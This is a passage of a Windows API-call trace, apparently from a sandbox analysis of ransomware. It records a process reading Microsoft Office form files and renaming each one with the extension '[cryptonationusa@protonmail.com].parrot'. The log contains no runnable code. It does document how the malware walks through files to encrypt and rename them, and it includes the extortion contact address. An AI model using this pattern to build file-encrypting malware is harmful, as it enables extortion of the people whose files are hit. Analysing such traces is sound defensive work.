Office\\Office14\\FORMS\\1033\\REPORT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORT.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\report.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.925] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.925] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.927] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.927] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0184.927] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.927] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reportl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.934] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.934] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.935] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.935] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0184.936] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.936] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\REPORTS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\reports.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.942] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.942] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.943] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.943] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x30b, lpOverlapped=0x0) returned 1 [0184.944] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.944] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESEND.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resend.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.950] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.950] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.964] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.964] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0184.965] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.965] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resendl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.971] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.971] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.972] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.973] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0184.973] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.973] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RESENDS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\resends.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.982] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.982] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.983] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.983] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x314, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x314, lpOverlapped=0x0) returned 1 [0184.984] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.984] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEM.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitem.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.989] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.989] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.991] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.991] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0184.991] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.992] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.997] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.997] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.999] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.999] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0184.999] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.999] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.004] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.004] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.006] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.006] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0185.006] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.006] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.011] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.011] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.013] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.013] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0185.013] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.013] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncls.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.018] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.018] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.022] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.022] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0185.022] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.022] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreql.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.027] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.027] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.029] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.029] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0185.029] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.029] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDREQS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdreqs.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.034] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.034] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.035] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.035] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0185.036] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.036] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresnl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.041] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.041] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.042] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.042] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0185.043] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.043] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESNS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresns.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.047] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.047] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.048] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.048] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0185.049] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.049] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrespl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.053] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.053] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.055] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.055] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0185.055] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.055] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESPS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdresps.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.060] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.060] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.062] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.062] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0185.062] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.062] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrestl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdrestl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0185.067] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0185.067] ReadFile (in: hFile=0x288, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0185.068] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.069] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0185.069] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.069] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDRESTS.ICO" (normalized: "c:\\program files\\microsoft 